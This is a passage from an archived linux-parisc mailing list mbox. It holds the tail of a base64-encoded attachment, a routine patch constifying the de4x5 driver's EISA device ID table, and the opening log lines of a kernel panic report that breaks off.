AgiMxX0TGllKYMr3DABYCbtx4ufTCffcQmDGw0LQ3h1GrEvKBcygeL5HVmuY1rdjs21Tr7oU
rug0bx48HXhVxFnrZ9RIZNHjB4HTwWH5Nn32TGfOx32HM4gMK0ZPKtH30h8txw6MOyW02EyN
+NaEhseT8XRpgaOlGo+sLMaTpRLnwBt4MZaubARDBtynXWOgq49MbLlYGgXQlxeY31rG/mzO
t3oOm8V4JNkOUY6x/3G/UeA6yHrd9AEt5x6+f4MFmSHVltNF5/7hfz090BUOyvLaQINTne+s
e70j70q25eF2ycUPqRWNGVGnVUbjOzja8uzOn9ujseiF5D89PDw99oViU67WXmSHNchO/SRR
XamYf41Sefte8500G6ucfQu+1JyuOwZxS3ozk8sXumliOjVoTfXpFnt6e3xlHlmtAw5MZnd6
WnPPZfPRQripzKeLkXyWblDz2WQsn2cL41n4wcznq0mhD1OaqAFMDWAky7WYzApZGyhxF9IF
aS5i8MDzJdcI8HkxNp7lW8wZdyr91JbixEuQZyWe1bHnDwEmi8mUFxNk+nws54X5ciJl/OyS
72kisJoIzYXO7nqWSA2ss7FaVAT98VMcQJ/fHh5+NhYT2aX1/QvhYRumRr/Ty2nDYcSkaO1e
ydWEYOhWOVSYDd6veXq8/9m5mP0v+igFgXqfx3HbmfWuAhnb7l6fnt8H55fX5/OnN3SoEx5p
Ot6Rjqzy9e7l9EcMCU+fL+Knp+8X/4Ic/33xV/fGF/ZGnssGFIlOJ/x9RzY5ThASUYtaaGFC
EzngjoWazcVKZzteWM/m6oYwMTqY0NveFJlYhSR5NR3xlzSAUxLp1M6lCJGGVypEdixUonI7
1b5qWrif7r69fmVTTYs+v14Ud6+ni+Tp8fwqq3wTzmZiaBIwE4NqOjKVLUQm3WvfHs6fz68/
HQ2aTKZ8Ag92JVfBdqglcBWMVfWuwtD2JRshu1JN+ODWz8Y+tcZk+5UVT6aiS7HcwedJV4UR
jIxXDF36cLp7eXs+PZweXy/eoNasbjobWX1yJhfakdHdIkd3i6zutk+OC6FvH7BTLahTCUMH
J4jexgiuSS9WySJQxyHc2XVbmpUffngtXLc5asioAc9SL/gIzS6sBV4Mgp6HMPPyQK1EvHBC
VqKGd2Phd4nPvEV8kOtj7s+DgDggBkqjONSUwBw+l88LvpjmihY5HeAGLKvZbT7xcuhd3mjE
DEydtqLiyWrEVy2SwkNTEzLmUxm3jsTKicvCfFQeKOo8dkpejESI5/b1VgzrshAnIEAAzORh
myzHA02MJYd3TUYSU9F4POMjr9xPp9zgU/pqOuNnWwngwf3aEqIzsoivR8BSArM5d1uq1Hy8
nDDZffDTWH7FIUzixeiSI/Fi3HujJ3dfHk+v2sTm6Mb75Yq7x9EzV5r2o9WKd/LGlJZ429QJ
Og1vRJCmIW87HQ/YzZA7LLMkLMNCTlyJP51PuDNcM9Ipf/cs1JbpV2THJNW22S7x50seYs8g
yM81icy1O3n79nr+/u30Q6gbtPaounjV0eP9t/PjUFvxhUzqw7rOUUWMR9tn6yIrvebSzd/x
BMcS7Ypmu9i1VKL7WYoqL91krYj+In2JIgcdmAbSU/S2niTUsO9PrzC1nS17cYBn16XdZC6c
IDXAtW7QqcdTQ+sWQ6/MY64vmEWAuuPTa5zkq8avTuufz6cXnIodI26djxajZMsHST6RkzA+
mwOJMGsqawX52uN3GQlxKoJI73JRT3k85qqOfjYsuxqTozePpzKhmks7FT0bGWlMZgTY9NLs
QWahOeqc6TVF5FzOhYa4yyejBUt4m3swiy4sQGbfgmwckzrwiKdG7JZV0xUZIZse8PTj/IAa
JnpzfT6/6HM6Vqo4CrwC/l+G9YFPGsWGK7TquBJH0pG87Ib06eE7ro2c/Q26fpTUdHtr5meV
uECHxxIL+XG1JD6uRgsxqyX5iO+E0DNruRIGLp836ZnPXCkPEwwPdRSUEsijdJtn6VaiZcYv
LSa+sNgYPOhWLkOcHJKQ7jRqtDh4vFg/nz9/cexoIqvvrcb+kcdVRLRUeKuRxDbevjO7UK5P
d8+fXZlGyA263JxzD+2qIm8lQmojkkcZK5HwOYIHM7A0Qq2nmEjVSgkJNl5LEtxF60MpIbqZ
YyoxdKPAsFEG2tieJUqXYnBbOYLkgSCRxnUJfYQEwQie10A5d6IprtB/QTh91dvIp4MLafFh
3GmT5F7l8TiLpYIF0KgW4ZrC2zRXmAF7Re75e3lJlra2lhQVhI9MfdtplGd+yU+NgIgKSzp8
X2RxzLdcNcUrd9x7RIPrsIB53kS3YRKlkYnihoaJNRYpEya/RhN0uOppgsp8PIxhwdQuJkhh
KQ2wjMjthBtlNaFKo3wX8V6v8dvjZLWwPgYjh4qgQwnu4BNpF00XRoQGTlzo3eM+2qwuFro5
1us8yR3+Kht+Gwk80LgXXrEIgp5ykGeDALwuUJiH6HCVSErvWauniN3NhXr79EIeU70saOJ/
yVuS8Ubj1r6IbgjimmEkGhEpEaJmXuprpx2UenuMHTT/Zpui77YfGf7U5GiL/NIvHNMgOVWO
zHrCVBJSNTFe0aL6xHtg5FNgFEiP77girJtWeoQ34U4v5wj7ePAIfYzNusyPXj1ZpgndsS0z
7UiOuqHNTvE6hGnv68pmJ7yii7wHCebbKbQgtOXUUWmdp5Zdcx3JuPYPac32apBrD3YnMYno
KuohMr1QVGDr6dJ8dTe2+kQzuqIZyM6Iz4zvOJ78Dt98Mrfz4yUq9WYj6PUj/B6zk/b02QA9
2s1Gl7J56fq7Rmrb/b4E3uaYbYuix5jPDxcm3H0n0cFAJBDn/XXOp2cMCE6q4oM2fLLodq34
4o6K5a5KA9z7i3u3Gut4ZRoUGfeza4B6HWFacoAdorUh+N59OuNlPP/5+l/9x7vhvOrpRPhg
Bx6bgdq7M/gjzl2gyzNp2cOgtJa5SWgloSlkJdWREL0KjBxRlwk3Fd+i0uN5I/PuRpjBrDNG
Qecsqt6BMUiK613wYJ/EpSNQhd9fLOSiOW5uYtQNqMXCQYti0PLraVtEdskO3Tp5lRMFYeDK
t3TlK+INo2qBB/z/On95gzUMBkmw/KdJ/XjgTxjfPeIKBYHJFvqfH86MhXJHazWZQUrt8bHc
UZtddHemqJa4SqgPUbF5Sbum5zhEjF06i2TcBd+8P8fRqNdwnWlkoyJbQADICqMivLy3tO7j
YgSxP404aGv8fFHYLXngT4evNYZsglId+3Ixe5eLH70ctperCQ9+DKDhXAlIE15Of+sZQw+Q
tvTCPxad5LnEDY/lRJxlboD66JX8vGIL48XCUCA/tkkq9KtC3PoFlKmZ+XQ4l+lgLjMzl9lw
LrNf5BKmdABNHJlvkwzSjAimH9cBU13wyeTAG8fXvicO2RUhXvaEl2srB2icAO9wciGL0k3m
oNltxEmOuuFku34+GmX76M7k42Bis5qQEc2peJiIzcFH4z34fFVl/K6to/vVCBelfDZeipCn
8FYtWIOU/JLo7UbJft4ANR7FwkAOQcxmWpBwBnuL1NmE6ygd3Lm3140a7eDB6lDmS3QwAJAt
ezy+6iRyw8W6NDtRi7iqrKNRB2uOq4mW6ziKKgU9NQUinf2xXmnUtAZ1XTMNJYrNittMjPIS
gFUhvqthM7t0Czu+rSXZvZEo+otdr3ANdKKRxxOqAUYSCkEcpR9D30ikpLo2JJLQ2sYL0iLN
7dsZP8aHcbnbPskPeqUBnjK8GaDLr2KzU5qV0YZVTWACkQa0Qa3PzzP5WqS5ahENi0mkVJTx
WxGNcUyPeGadDj/RZshGVC/d9t6wXXtFKr5Jw0a302CpTw632CYp68PYBLiHJqbyS9YoXlVm
GyWnFVRVBeAL3TU7hEXs3Uip0GEgXYOogB5Sww8bxj0DqvzHVpPz7+6/nsTEbMwXDWDKjBbe
gVjNtoWX2CRrMtJwtsb+W8eROKmJJOxS/Ks7zIrd3VP4+/UHBX/ACuB9cAhI9bA0j0hlq8Vi
JKeYLI5CVppbYOLjpAo2gh+f07izUweZeg9S/n1aul+50SKmV5EUpBDIwWTB5zbmuJ8FIcZD
/zCbXrroUYYmKgUf8O788rRczld/jN+5GKtyw458pqUhDwkwapqw4rr90vzl9Pb56eIv11eS
iiBM2wjsSWmWGNoV+RggEL+wTjKQ+1lhkGABFwdFyATePizSjTz4xx/LJLceXRJRE1pJ34eh
r7YgKtb1QBB6/aMrrxeMGPWduiQFPeKza4GXGRh17QVuQNd1i20MppAkqxtqbkQQkmtnpIfn
PK6GMOe8bRacAHMKNotpaXDmXNwiTU4jCydzrHm6qqdiGH4QaGJi0FQFa3KvsGB7Qu9wp27Z
KkoOBRNJsNCi7UuMTJXRXKdMlltxJarG4tvMhGjX3gKrNW0gdD2yeSvGgqzTLHX1Ss4C01nW
FNuZBV5f4LTbcaaNd8iqAorseBmUz2jjFsEAy3g0M9B1xGRoyyAqoUNldWnYw7ph57fNNC79
qSPaTefDLMGLrK4qT+1ciFZu9ETIz8oKsp5lXadmWzZc9yc51Ha6jd0ZNRy0FHc2iJMTdR68
gO0XrzY6e4fLau7g+HbmRDMHerx1gLM92hzX8Z76loMhTNZhEISBg7QpvG2C51wbRQMzmHYz
o7lMw120o9R9ElPM5QZwlR5nNrRwQ+bVwVb2GsFQPnhq80Yrz7x5TYakDNz3J5oZZeXOdYki
sYGkWctoHTloPtwgpZ+piTsBxYvV0KFVO7LbeN/yzZx8kss3r1BvcApKYIIbY1XTwKi99WPw
Rh2kZDEljR7fNEOwcW+3XHjMzImJEINN1GET18o9k6emwgTPXLun56n5LKcWwmaSR11zQ5jm
qMcWwvZt87SVQqDTi0CSRFk38X0EdxwenSna99Xk8o8DkVzP6iho4gV8ePf36fnx9O3Pp+cv
76xUSYRxZ4QMbmitBMZYzWFsVmMrXRmIyx59RxEsD416N/XSjQrEJwTQElZNB9gcJuDimhlA
LrRLgqhOm7qTFOWryEloq9xJ/HUFBcOL/W1BkZFB+8lYFWDpzEfzu/DLu+lUtH9z/KqXzVVa
iKCn9FxvuYNXg6H4am4INNMbHRsQ+GLMpN4X67mVk9HEDUphLwtxCZwf5ju5PtaA0aUa1KXg
+ZFIHtk2sR6bGOB16O3r/LrewexlkKrc92LjNeZUTBgVycCsAlqr3g4zi6Stcxj3DKPVml8R
DJVMJWv0hZegPTL9XEo9n1ZTOGuVeKxaGks0VQcetaxDmqjKIrNR7IZi0BOagTpqoyqBjwky
C09jCwqPpdh5hcW0Jxde5kLMrnjPVS0rWSv06GJxdT9NsDXUlLvXw0O7cnct7JHcWgbqGffH
FJTLYQp3GReUJT/bYFAmg5Th3IZKsFwMvocfTDEogyXgXvoGZTZIGSw1P9dvUFYDlNV0KM1q
sEZX06HvWc2G3rO8NL4nUhn2Dn47lkgwngy+H0hGVdMdj+78x2544oanbnig7HM3vHDDl254
NVDugaKMB8oyNgqzz6JlXTiwSmJ4fylo615qw34ICzffhadlWHE/8I5SZKBXOfO6KaI4duW2
9UI3XoTcw7OFIyiViLPUEdIqKge+zVmksir2kdpJAtkbOwT3tfiD9CjYk4p58fXu/u/z45f2
ROH35/Pj69/aGfvh9PLFvi6VLPc6Mh8X8rQowTiscXgI406OdvbT5vpQm6MLCE63jDa565tQ
+72Lm9RLIl9+gP/08P387fTH6/nhdHH/9XT/9wuV+17jz3bRm2uZcb8BsoJ1lu+VfIHc0JNK
lea+LCyZE53yw3g06coMM2uUY7BKWEXxhUsReoGOQ6eYnb5KQeEOkHWd8YmT5EJ2nYoQnNb+
3w7yxGhDRsk0o9JKK1pFE09cNm1S9OdnaczqF8PCAp6WzXfmGW3ZKPP7G9wqZYaONFpNw0BM
PH5h4qGLMazsiisn2NnKdeV/GP0Yu7ia6PLGi9EqTVqwdqY4PTw9/7wITp/evnzRfZpXMCgm
GHWda906F6Tijaz+IKHtGW2flS0HtaIyqZRJvE6zZoN1kOM2LDLX66EnbUy8AI0Kt8JCVZok
vdWjBmAeDtFJ3+Du2gDNDCYqqRSbeoBW+BV13iG6Nq51d5ANcBlN0PUSFVfrlpUvqBA2lhjN
UCnRSb2SFx1r0iGxEfjnGWpmRyrWDjDfbmJva71Wx0ADQR9Z1d8MGujwfD945x1CXmTcUNzE
2bXzewaJu6jogwLiyLjA4/5v37Ws3N09fuGnbGD9UOV96KG+NrNNOUhEwY33BiWcLYf+7v8O
T33w4irs21PnX+/Qa7b0lOhVWlJ0JOqTuNAfT0b2i3q2wbIYLGZRrq/6SzLZwEVO3IYQu/cC
NjPSxLa0XVl1SGBzFU6g9PwhzOjMmk935jAN3NMCvnIfhrkWTvpoFoaJ6GTkxb9evp8fMXTE
y38uHt5eTz9O8Mfp9f7PP//8N48ZSYKnhLmxDI+hPabaENdmp3eze2WG07mKoWgmrfXK8fKo
k1csA/KbgO4H+k9ohKq9vtbvc9znQWZQPL5iDE2qPsNGSvMjiH2YrlUYBlDJBahsmSUa9loy
DcAguOMQI7oYZPjvgH7INkXuzzeSIXLC3NKrEXLRiBwC2i/gE1JQa/vdc5DHYpLs7dAFiBEU
1w7rs7vKUbTjQTMHPJwARR1UfBx3I2IyFilleyAUXlk2Av15MES19lEYekdT29RdYObHzRLu
/QBF2IEUiLX8LMPWeZ2ZBpoaxTtY6Cxxaxfst0E20Mi/4hZWbgx8/w9cw+5GXhSr2FtLRCsI
huZChMTbo+ZwVYm5nkh0tljXupEm8QeSbHBQcUyU0qGpmhz9KEMTupjj8Zab1L8pM26Pp1PP
wM34aDLcVKnO8NfUbeHlOzcPOkJQx0MiabPca4FS6CuLZBfUZTditxcopcwdcx0/FvmFPoi9
C3uhuo5QBTfLxrKi9rw2DLlWfu3hJzOjhtHewjU3ggar8h9qEUQoTOAbC9ezkVXn19C+9it0
dTZtYTeASkEPgtE5SOgUJllLa5DTULkgxWjbBbftP/wU0o1wL03xsD/uAFKCcGBTrmWH7uJi
5DOI9Ym4L4sDnvkV8ozXYRMDynWkrm2ApgCOirO0+JZQeiBzc2Nl0HdJLYwHKp6uNOPViY5e
bYgBs5Fo6NRrGLq7xCvcg4KRH1xkd2l1OUNQoLA0tOVml1NXnvaDbye1t0cyBJSnl1ex9ov3
QSmc9JV2hQNFlG/K6JoR0LqTWljj5kS2RldEA6TVMRbdQWtWORLUitBi5lBZPHWTgkT2omBh
JKKi7sIjXbtifEBJNbwL41xchUvEPVBLHjaGULK4bAxwHZXYFyRYVfxGHoIK3JPRwfqN4nnc
NqVfhEcOU7Ml9mbboDsqyMv8xixSbhbSvjqo695lbOaqLUq9U0OYGP1OV59XglSlLZ2+G9DK
sqY1t59RUA8xOeu6TWhvsHcjwTt2ByRLZ21RdbVWXormgbSKY6fbD9CZAYnYvTjapomIcN7k
U/EdJ6nz2lOCCn30NmgHkDrdvz1jIAbLbCZ3uLBjwfBBmQIE7G5COKAHfGDUYOM21OI/WcZ1
sKszyNIzXLq6ndogCRUdRYae7Zc2gyMJOiqQrWCXZXtHnhvXe9r7tWwKLMVg0b5Gs+1gsvq4
KRIHOfdKZoqLVYJBmnN0qam9ICg+LObzaXcXIWkodPY5harCcYDDQCt4nlhxW0y/IJGWqHLe
jZpujhzoeKalxT+Q9ae8e//y6fz4/u3l9Pzw9Pn0x9fTt+/skGP33SDOorQ6OmqkofSL8N/h
MdfTFmcQKXljiM0RUlzlX3B4B980GFk8tMgGLRnveGoKNbKZE893dSTC8cBbuq2cBSE69ChT
STY4vDzHBT/uBHuxq7QwqWQ32SCBNFx05s/R6loWNx/w0tJfMldBVNIla8L4bXDCVFay0zB4
3abzK6D8MBVkvyL9RtN3rNItwE23Lbc2n2mHcTM0B19c1W4wNjseLk6smpxHrDApjbXTJXFu
vITfOmuf6+kg3UNwEe4ign6RJCFKVUMq9yxMmhdi+cFywZ7BCKJsiQeV4Cm0AuQ+LHeDI/Qf
TkWBWFRxKLzmkIBxdnBp6JgSkYxWu4bDTKmi7T+lbu2IXRbvzg93fzz2rlaciXqP2nlj80Um
w2S++If3UUd99/L1bizepANh5Fkc+Tey8nAXyUmAngaKITchcdQlW6lSB5sTiO1cro/3aD+T
xkmyAnEEXRI6tkJzRyC8vTHtOgaxRDq1M2vs0/VxPlpJGJF2Vjm93r//+/Tz5f0PBKE5/uRn
58XHNQWTdvSQW+7hoUYXoHqjSGUVBHJPaQQpOQopSXcUFuHhwp7+50EUtm1tx1zY9R+bB8vj
VBYtVi1sf4+3lUi/xx14vqMHm2zQg0/fzo9vP7ovPqK8RtuIMlcvxvltwkDz9rlyr9EjD5Ou
ofzKvRhCm9vBJJWdDgDpcM7AO0f6JrSYsMwWl76islWI/eef31+fLu6fnk8XT88XWtXpteLm
Pksv3np5ZObRwBMbx32wBwdos67jvR/lO3H/nUGxExk+cj1osxbCQNVhTsZu/rSKPlgSb6j0
+zy3uQG0c8DliaM4ymoyWEVYUOgHO6u4sAD1to4yNbj9MhltTHJ3ncnYomi4tpvxZJlUsZWc
lmku0H59Tr8WMy45rqqwCq0E9GP3sGQA96pyF/IrxRtcGhzaGk23UdqFOPDeXr9ijMf7u9fT
54vw8R6HC8al+O/59euF9/LydH8mUnD3emcNG99PrPy3DszfefBvMoJZ8Ebeed0wqPAqOthF
hUQwQ3QxpNYUHB2XLC92Uda+XY2l3eq4r26/Z21hcXFtYTm+xASPjgxhAr0uyPKi42/fvXwd
Knbi2VnuEDQ/5uh6+SHpo90H5y+nl1f7DYU/ndgpCXah5XgURBt7HEhbUFsjQw2aBDMHNreH
bARtHMb4a/EXCV6c7oRF/LMOBuXNBYsr6NsOp3VBC8QsHPB8bNcVwFN7yG2L8crmvc51DnpK
On//KkKEdBOILX4Aq3lcmRZOq3Vk9zuv8O1qh0n9ehM5Gq8lWLeItJ3BS8I4jjwHAV2rhhKp
0u4OiNptE4T2J2zcsnK/824dc66CpbPnaN5W4DgETejIJSxyfVObKT/tby+vM2dlNnhfLZ13
G0bHFbc3dF+/oXWLJXn48bEGW87sPoWHzxzYrr/49O7x89PDRfr28On03N4p4SqJl6qo9vOC
hyNtC1ms6R6lyk1xSipNcakwRPFLe+ZGgvWGj1FZhgXaNoQdmc3p6F4wSKidEqujqlazGeRw
1UdHdKqAtIqUTh8t5dr+5vBQ76JNWl+u5kfH2GDURsvrb1rveTCyqe95SdeWUDYYV641AEvV
RLpztjiQ1Tx34vqq6CF1g3E4BnZPLV3jvieDXHVSr3x7rNDuXLItQ9/d2ki3I7Uyor8LY8Xj
MDHaISpKTpK2Fgo+KNYmLTGv1nHDo6q1ZKMVqB8W6EGAfqu4nyIid+R7X112frZuqt6rCHkM
Nb2czkN9uo3OeGP+UX/VqY/3ZvxFit7LxV8Yau/85VHHUSa3W7HdlmRBFdMqnd7z7h4Sv7zH
FMBWw7L5z++nh95gTCf+hi0TNl19eGem1kt6VjVWeotDn3mdjVad8b0zbfxjYX5h7bA4aFiT
B09f6nWU4muafbfu/oxPz3fPPy+en95ez49c3dOLXr4YXkdlEeLV48L4RbsHtLXU011nW6lp
RXykxpdAlUUKK/N6U1DUTd55WpYUo9GWETc6d2FY/cgMMNaSeKxcjEncBEvkYs2HBQHIbD6Y
/LGY9mH1bqmXkHVZ1TLVVCyi4NGxtdrgMNTC9c1SikdGmTnNJg2LV1wbFkaDA1rBKUmlnuWz
cxVxtLZVbn/JtxW1IZ5aGRfHXtlWsrOl0WuNV0BXMaAU9AeWHziqT71LnM43w9wUi6FFaKuJ
9Ftc7KyzRFnODJ85ykGqiBt35nK8Rdh8ro/LhYVR3NHc5o28xcwCPb6l12PlrkrWFkGBwLXz
XfsfLUz2xf6D6u1tJLwhO8IaCBMnJb7l9itG4DEDBH82gM/scevYeCxC9DnN4iyRYap7FDd7
l+4E+MJfkMasudY+m5HX1NtT7ULg8WMW6FOlQhwOLqzeS/+IDl8nTnijGE7uHXLHo/Ps4HO3
ynzQESKSvYUnNmIp4iKP4qoh3IU3PG0A14bI3jiLuxx4/UeWu5yEkIxKhowgpgOfOXZ9/LzC
MHN1ttmQv5KgwEKXFya44nNDnK3lk0OcprE8cNv1n8a5hY33oqqNaFd+fFuX3LPRz4qAL+lx
m7xvhuIKLQeshEkeyQgb9tcDfRMw6YdheDEwqir5RsYmS0uH31wmXASJafljaSG88xK0+MEP
+hJ0+WM8MyAMtBw7MvSgFlIHjrE46tkPx8tGBjQe/RibqVWVOkoK6HjyY8IEjEKH7pjvrygM
2UzesdKLBXuuwo7nRemQc1wQ5tyXTzW+Rb1mavgFgWKUhHUKQla7MP0fBosVv14dAwA=

--liOOAslEiF7prFVr--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arvind Yadav <arvind.yadav.cs@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.network
Subject: [PATCH 3/5] net: de4x5: constify eisa_device_id
Date: Sat, 19 Aug 2017 12:22:44 +0530
Lines: 30
Approved: news@gmane.org
Message-ID: <1503125564-15193-1-git-send-email-arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503125576 13439 195.159.176.226 (19 Aug 2017 06:52:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 19 Aug 2017 06:52:56 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, netdev@vger.kernel.org,
        linux-parisc@vger.kernel.org
To: davem@davemloft.net, johannes.berg@intel.com, jarod@redhat.com
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 19 08:52:52 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dixcl-0001h9-Th
	for glpp-linux-parisc@m.gmane.org; Sat, 19 Aug 2017 08:52:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751752AbdHSGwy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 19 Aug 2017 02:52:54 -0400
Original-Received: from mail-pg0-f68.google.com ([74.125.83.68]:38653 "EHLO
        mail-pg0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751745AbdHSGwx (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 19 Aug 2017 02:52:53 -0400
Original-Received: by mail-pg0-f68.google.com with SMTP id 123so17765021pga.5;
        Fri, 18 Aug 2017 23:52:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=OjRz4d6NM4yd78b+6QkaXAXWdjuEAyJ43gkDweUaTV0=;
        b=qQm3ioY9PSRphh3W/7Z0wSCeZaENI6qgO/KWUMbdkn48O/hzE+dOpvr8nqHXBwrsmi
         DJcVVHfvddWw+Bz6F0vocHtoZV+Mwxy1Dvy3DJQnWcARFWgtnhBecT0XdYLd/5hrrv4U
         VJobwtstn8iN3/9l7XCiZ+KWTeOvmhHEWYEyMzpIf8UWqY1juOmBDXEmmRNyrmgPHd3/
         KG4XvL/Yj47Tys/aQ1e3ALWMx43+AaTI4ad/7E2tv2DLhWL5QzNtqeFouCP75jdAjdAr
         S1qwhE6P10MAbDzYNebDJcEKGsjxb9nzJgMHQTfuUfYAzVO9NQDDZ7gfic4OflY+qLtL
         c6hw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=OjRz4d6NM4yd78b+6QkaXAXWdjuEAyJ43gkDweUaTV0=;
        b=F7VVsBEQzpK8w/COYrBNKjVJFAPk2v7OJ+0vLlUTzrnQPpAiKaEBcwZGrtyKSKwrnx
         lbuZvp9UGAgp+O3C9UPs/c5j856AFefKC9jnKPghNy5L4Zo28rNsh2Yx0IRKeeUMNT5w
         /dWhGKqXaST3zxk1dBiqm5QtumBsiH8x+wBvO1kaK9uD/q8cJF48wwgsfsTrE0bf5u06
         WxJkCWjZIbQellUct7LAHZHTwEG9yufnj16/t6wI+33LRIGkm1uSjPa+i9xadMuBXrwj
         GsKTlYmA2DZGS01+iECn+/TtICE+XtMo+RTjZbWe9LxeZvAFjHXHc7mGDzuPkBaXldIi
         oVpA==
X-Gm-Message-State: AHYfb5j3RcEUtPqDJKXjk81W8fWa2TgfWBjlkvV6W4oFZSUGpUFYSc18
        tatKgOup4TKXqw==
X-Received: by 10.99.174.10 with SMTP id q10mr9902728pgf.234.1503125573342;
        Fri, 18 Aug 2017 23:52:53 -0700 (PDT)
Original-Received: from localhost.localdomain ([103.16.68.146])
        by smtp.gmail.com with ESMTPSA id s83sm5519041pfs.98.2017.08.18.23.52.50
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Fri, 18 Aug 2017 23:52:52 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27699 gmane.linux.kernel:2552826 gmane.linux.network:486430
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27699>

eisa_device_id are not supposed to change at runtime. All functions
working with eisa_device_id provided by <linux/eisa.h> work with
const eisa_device_id. So mark the non-const structs as const.

Signed-off-by: Arvind Yadav <arvind.yadav.cs@gmail.com>
---
 drivers/net/ethernet/dec/tulip/de4x5.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/net/ethernet/dec/tulip/de4x5.c b/drivers/net/ethernet/dec/tulip/de4x5.c
index 47be501..0affee9 100644
--- a/drivers/net/ethernet/dec/tulip/de4x5.c
+++ b/drivers/net/ethernet/dec/tulip/de4x5.c
@@ -2094,7 +2094,7 @@ static int de4x5_eisa_remove(struct device *device)
 	return 0;
 }
 
-static struct eisa_device_id de4x5_eisa_ids[] = {
+static const struct eisa_device_id de4x5_eisa_ids[] = {
         { "DEC4250", 0 },	/* 0 is the board name index... */
         { "" }
 };
-- 
2.7.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Kernel panic building polyml
Date: Sat, 19 Aug 2017 08:56:29 -0400
Lines: 54
Approved: news@gmane.org
Message-ID: <E754A6C6-AA72-43F1-A799-E48A2146BF17@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1503147395 16822 195.159.176.226 (19 Aug 2017 12:56:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 19 Aug 2017 12:56:35 +0000 (UTC)
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 19 14:56:31 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dj3If-0003vX-NM
	for glpp-linux-parisc@m.gmane.org; Sat, 19 Aug 2017 14:56:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751049AbdHSM4c convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 19 Aug 2017 08:56:32 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:51848 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751012AbdHSM4b (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 19 Aug 2017 08:56:31 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20170819125629.IUVI16669.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sat, 19 Aug 2017 08:56:29 -0400
Original-Received: from [192.168.2.25] (really [174.91.88.229]) by mtlspm01.bell.net
          with ESMTP
          id <20170819125629.SWZB9294.mtlspm01.bell.net@[192.168.2.25]>;
          Sat, 19 Aug 2017 08:56:29 -0400
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=Cczn3Pjl c=1 sm=0 tr=0 a=oYUKPKGZpIz3GNhAIUXLSA==:17 a=kj9zAlcOel0A:10 a=KeKAF7QvOSUA:10 a=FBHGMhGWAAAA:8 a=70_sFOw7GmwK-xk6c3AA:9 a=CjuIK1q_8ugA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27700
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27700>

mx3210 login: systemd-logind[4461]: New seat seat0.
systemd-logind[4461]: Failed to start user service, ignoring: Unknown unit: user@0.service
systemd-logind[4461]: Failed to start user service, ignoring: Unknown unit: user@110.service
